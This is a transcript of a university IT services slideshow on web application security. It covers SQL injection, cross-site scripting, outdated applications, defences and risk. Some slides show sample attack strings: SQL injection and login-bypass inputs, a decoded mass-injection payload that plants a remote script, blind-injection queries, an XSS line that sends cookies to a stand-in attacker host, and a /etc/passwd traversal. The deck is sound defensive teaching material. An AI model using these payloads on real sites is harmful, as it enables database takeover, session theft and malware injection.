1 / 30

Web Security

Web Security. http://xkcd.com/327. Chris Wakelin – IT Services. Introduction. Background Vulnerabilities Defences Risk Assessment. Background - Incidence of common vulnerabilities. Broken authentication – 67% Broken access controls – 78% SQL injection – 36% Cross-site scripting – 91%

ronaldcleveland
Télécharger la présentation

Web Security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Web Security http://xkcd.com/327 Chris Wakelin – IT Services

  2. Introduction • Background • Vulnerabilities • Defences • Risk Assessment

  3. Background - Incidence of common vulnerabilities • Broken authentication – 67% • Broken access controls – 78% • SQL injection – 36% • Cross-site scripting – 91% • Information leakage – 81% (source – Web Application Hacker’s Handbook)

  4. Background – Mass exploits • November 2007 – yl18.net • “40,000 websites” • http://isc.sans.org/diary.html?storyid=3621 • Including www.reading.gov.uk • January 2008 - uc8010.com • “70,000 websites” • Including www.iop.kcl.ac.uk ? • http://isc.sans.org/diary.html?storyid=3823

  5. Background -UoR Web defacements • Fresher’s Week 2007 • www.careers.reading.ac.uk defaced • “code own3d by UGUR238” appearing everywhere • 30th October • www.launchpad.reading.ac.uk defaced • “ownz ya baby” • 19th November 2007 • www.reading.ac.uk/moneymatters (a.k.a. www.extra.rdg.ac.uk/studentfinance) defaced • “Hooked by cyber_zook” • We’ve been lucky!

  6. Background –Motivation • We were lucky, still only “script kiddies” • No malicious code inserted • Defacement was obvious (boasting!) • Mass exploits are perpetrated by Cyber Criminals • Wish to insert malicious code (Javascript and IFRAMEs) • Attack visiting clients with cocktail of exploits • Eventually install “Trojan du Jour” (“drive-by downloads”) • Compromised clients used to capture banking details, spread spam etc. • Consequences of such an exploit in the University • Many of the clients would be our users • Potentially huge clean-up task • Damage to University’s reputation etc.

  7. Vulnerabilities -SQL Injection - Cartoon • Consider the cartoon. What if the web app used the following SQL query? SELECT * FROM Students WHERE (status = ‘active’ AND name=‘$name’) • “Little Bobby Tables” has just made $name = Robert‘); DROP TABLE Students;-- • So the query becomes SELECT * FROM Students WHERE (account=‘active’ AND name=‘Robert’); DROP TABLE Students;-- ‘) • Oops!

  8. Vulnerabilities – SQL Injection - Authentication • What about SELECT * FROM Users WHERE username=‘$username’ AND password=‘$password’ ? • I found three different UoR websites where a password of ‘OR ‘1’=‘1 logged me in (as an Administrator in two of the cases!) • … AND password=‘’ OR ‘1’=‘1’ • One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one MySQL (PHP, home-grown)

  9. Vulnerabilities - SQL Injection – Mass Exploits HTTP Request was GET /home/site_content_3.asp?s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072... ...29003B00%20AS%20NVARCHAR(4000));EXEC(@S);-- Which decodes as declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="hxxp://yl18 net/0.js"></script>'';'from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

  10. Vulnerabilities -Advanced SQL Injection • ‘Blind’ SQL Injection • Just needs to produce a different result depending on whether the given condition is true or false • WebCMS was vulnerable • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sID=22059 gave a different answer (downloaded the file) to • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sID=22059 (gave an error) • Automated tools can potentially retrieve (slowly) everything in the database • Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username=‘admin’) > 78

  11. Vulnerabilities -Advanced SQL Injection [*] starting at: 22:00:56 [22:01:03] [WARNING] the remote DMBS is not MySQL [22:01:04] [WARNING] the remote DMBS is not Oracle [22:01:04] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: ae400_readingdev [163 tables] +---------------------------------------+ | ACTIVATION | | AEMA_PAGE_AC_COST | | AEMA_PAGE_AC_COST_VALUES | | AEMA_PAGE_AC_ROOMTERM | | AEMA_PAGE_AC_ROOMTERM_VALUES | | AEMA_PAGE_AC_TYPE | | AEMA_PAGE_AC_TYPE_VALUES | | WORKFLOW | | WORKFLOW_USERS | +---------------------------------------+ [*] shutting down at: 00:16:21

  12. Vulnerabilities -Cross-Site Scripting (XSS) • Not as spectacular as SQL injection • Far more prevalent (91%) • Severity depends on context • E.g. can be used to hijack authenticated sessions • Victim is persuaded to follow specially crafted link to their application • Their browser sends their session cookie to the attacker • The attacker uses this cookie to hijack the session • Can be Spectacular – the MySpace worm used XSS • Attacker posted Javascript to his profile • People visiting that profile became his buddies and had the Javascript added to their profile • He ended up with over a million friends (not that they helped him in court!)

  13. Vulnerabilities –Cross-Site Scripting • Typical problem is in search pages or error pages • …/Search.asp?search-term=<script> … • “You searched for <script>alert(document.cookie)</script>” • …/Login.php?user=<script> … • “User <script>var i=new Image; i.src=“hxxp://hacker.com/”+document.cookie</script> does not exist” • Can also happen by “POST” (form submission) but harder to exploit • These are “Reflected” or “Class 1” XSS.

  14. Vulnerabilites –Cross-Site Scripting • Stored” or “Class 2” XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users • E.g. Webmail, blogs, bulletin boards, advertisments • Other avenues of attack starting to appear • Flash • ActiveX controls • Best browser defence is Firefox + NoScript plugin • Selectively allow Javascript for trusted sites • Perhaps not user-friendly enough …

  15. Vulnerabilities –Outdated applications • E.g. Wordpress, phpBB, Joomla • “Google Hacking” • Find old vulnerable versions of well-known applications • E.g. “site:rdg.ac.uk inurl:wp-login.php” • See http://johnny.ihackstuff.com/ghdb.php for more ... • Even security professionals not immune - http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/ • Watch out for “plugins” as they may be less well-written • Essential to keep applications up-to-date!

  16. Vulnerabilities – Old versions and source code • Don’t keep old (potentially insecure) version of scripts lying around • Hackers will try “index.php.bak” and “default2.asp” • If you must keep old versions online, pick a naming scheme that is unlikely to be guessed • “search-191107cdw.asp” • If you change the file extension, the server may hand out your actual code! • Deny access to source and backup directories • Preferably keep them out of the web root altogether

  17. Vulnerabilities - others • Other injection flaws • Command injection (can run OS commands) • Script injection (exec/eval/include commands in scripts) • HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects) • SMTP/LDAP/XPATH/SOAP … • Path traversal • http://myapp.reading.ac.uk/display.php?file=../../../../etc/passwd • Buffer overflows • Don’t rely on “<input … maxlength=xxx>” or “size=xxx” • …

  18. Defences – Fix apps • Sanitise anything you get and use from the user • Including ‘hidden’ fields, cookies, user-agent etc. • Don’t assume they’ll obey things like length-restrictions • If possible, restrict to ‘known good’ rather than trying to exclude bad things • E.g. if your application takes an integer as an argument, reject anything that isn’t an integer • Be careful not to throw out the baby with the bathwater, though • We probably don’t want to exclude people of Irish ancestry from receiving the University prospectus – e.g. O’Connor • “Parameterise” SQL queries (if necessary) • HTML-Encode anything you output • htmlencode($string) in PHP • Server.HTMLencode(string) in ASP

  19. Defences – Fix apps –Validate input • ASP Public Function ValidateInput(ByVal sInput, ByVal sPattern) Dim reValid Set reValid = New RegExp reValid.Pattern = sPattern reValid.Global = True ValidateInput = reValid.Test(sInput) Set reValid = Nothing End Function If not ValidateInput(strid, "^[0-9]+$") then strid="1" End If • PHP If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;

  20. Defences - Fix apps -Parameterise queries • PHP $sql = $db_connection->prepare( “SELECT * FROM users WHERE username = ? AND password = ?”); $sql->bind_param(“ss”, $username, $password); $sql->execute(); • ASP Set dbCommand = Server.CreateObject("ADODB.Command")Set dbCommand.ActiveConnection = dbConnectiondbCommand.CommandType = adCmdTextdbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=?“ dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username)) dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd)) Set rs = dbCommand.Execute

  21. Defences -Minimal permissions • Each application should have its own database account(s) • Account should have read-only privileges unless the application modifies the data • Use separate account for admin write access if possible • Don’t be DBA (even to just make things work) • Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users • Web servers shouldn’t run as root/local system/administrator or as the same user as the database • May be an idea to run the database on a different server altogether • Use strong passwords (and password policies) • Use password hashes where possible

  22. Defences - Policies • We should aim to not be the “low-hanging fruit” • Move the fruit further up the tree by • Requiring authentication • Restricting access to those on campus where possible • Shake the tree ourselves and see what falls out • Then fix it • Hackers with ladders/cherry-pickers/chainsaws will probably beat us! • But we’re not a bank, so hopefully they won’t bother

  23. Defences - Policies • A single Nessus Scan no longer sufficient • Websites change • Nessus not really suited to testing web applications • We need a policy of systematic testing • When a request for a database is made • When a web application is installed or changed • Periodic automated testing? • Try to consolidate to central services where possible • Do we need 10 different Wordpress installations?

  24. Defences - Policies • Web applications need to be properly resourced and maintained (static pages are probably OK) • Consultancy & commercial • Can’t just pay a consultant to develop it and forget about it • Need support contract • Home-grown • What if the original author leaves? • Open-source • Keep up-to-date with latest releases and patches • What if it’s no longer maintained?

  25. Defences - Security Scans • Historically we scanned new websites with Nessus • Not particularly aimed at web-application security problems • Doesn’t do “spidering” so will only find problems in obvious places • We only scanned once (and reserved the right to rescan later) • Nessus is free! • Web Security Scanners • Commercial ones are expensive £3000 - £30000! • WebInspect, AppScan, Acunetix … • Can still have problems with false positives • Will still miss some of the obvious vulnerabilities • Probably can be used for automated and first-glance checks

  26. Defences - Free testing tools • Paros Proxy (http://www.parosproxy.org/ ) • Good point & click tool – a bit lacking in documentation • Will find the simplest XSS and SQL injection flaws • Burp Suite (http://www.portswigger.net/suite/ ) • More sophisticated tools to assist the penetration tester • Acunetix Free Edition (http://www.acunetix.com ) • Restricted version of commercial scanner; just finds XSS • Nikto (http://www.cirt.net ) • Perl script to look for common vulnerabilities • WebGoat (http://www.owasp.org/ ) • Training application for pen testers (can you buy the HDTV for 0$?)

  27. Defences -Web Application Firewall • Mod_security for Apache (http://www.modsecurity.org ) • Main Apache server is acting as “reverse proxy” for WebCMS • Can block things like XSS and SQL injection attacks • Customisable “Core” Ruleset provided • Custom rules can protect particular applications • Provides an audit trail • Free console application (for up to 3 servers) • Currently running in “Log only” mode (on all virtual hosts) • Can proxy www.xyz.rdg.ac.uk by making DNS point to Apache • But may need different URL for editing • Risk of false positives (we have a very varied website)

  28. Risk Assessment • SQL Injection in SQL Server or MySQL • High risk • Actively targeted by automated attacks • Potential to affect other apps sharing the same database server • SQL Injection in MS Access • Medium risk • Less likely to be compromised by an automated attack • Determined hacker could probably modify the database and insert malicious code

  29. Risk Assessment • Reflected XSS • Low to medium risk • Important on sites with authentication (Blackboard, RISIS, Trent etc.) where session tokens could be stolen • Outdated well-known applications • Could be a high risk • Automated attacks via “Google Hacking”

  30. Conclusion • Web application security now a ‘hot topic’ • Automated attacks occurring constantly • Need to fix home-grown scripts and applications • Need to keep third-party applications up-to-date • Need to ensure proper resources for maintenance • Need policies to keep track

More Related